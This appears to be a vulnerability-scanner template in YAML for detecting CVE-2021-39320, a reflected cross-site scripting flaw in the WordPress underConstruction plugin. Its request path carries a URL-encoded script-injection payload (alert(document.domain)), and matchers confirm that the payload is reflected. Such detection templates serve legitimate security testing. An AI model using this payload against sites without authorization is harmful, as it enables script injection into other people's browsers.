38 lines
1.2 KiB
YAML
38 lines
1.2 KiB
YAML
id: CVE-2021-39320
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info:
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name: underConstruction < 1.19 - Reflected Cross-Site Scripting
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author: dhiyaneshDK
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severity: medium
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description: The underConstruction plugin <= 1.18 for WordPress echoes out the raw value of `$GLOBALS['PHP_SELF']` in the ucOptions.php file. On certain configurations including Apache+modPHP, this makes it possible to use it to perform a reflected Cross-Site Scripting attack by injecting malicious code in the request path.
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reference:
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- https://wpscan.com/vulnerability/49ae1df0-d6d2-4cbb-9a9d-bf3599429875
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- https://nvd.nist.gov/vuln/detail/CVE-2021-39320
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.10
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cve-id: CVE-2021-39320
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cwe-id: CWE-79
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tags: wordpress,xss,cve,cve2021,wp-plugin
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requests:
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- method: GET
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path:
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- '{{BaseURL}}/wp-admin/admin.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E/?page=under-construction'
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '</script><script>alert(document.domain)</script>'
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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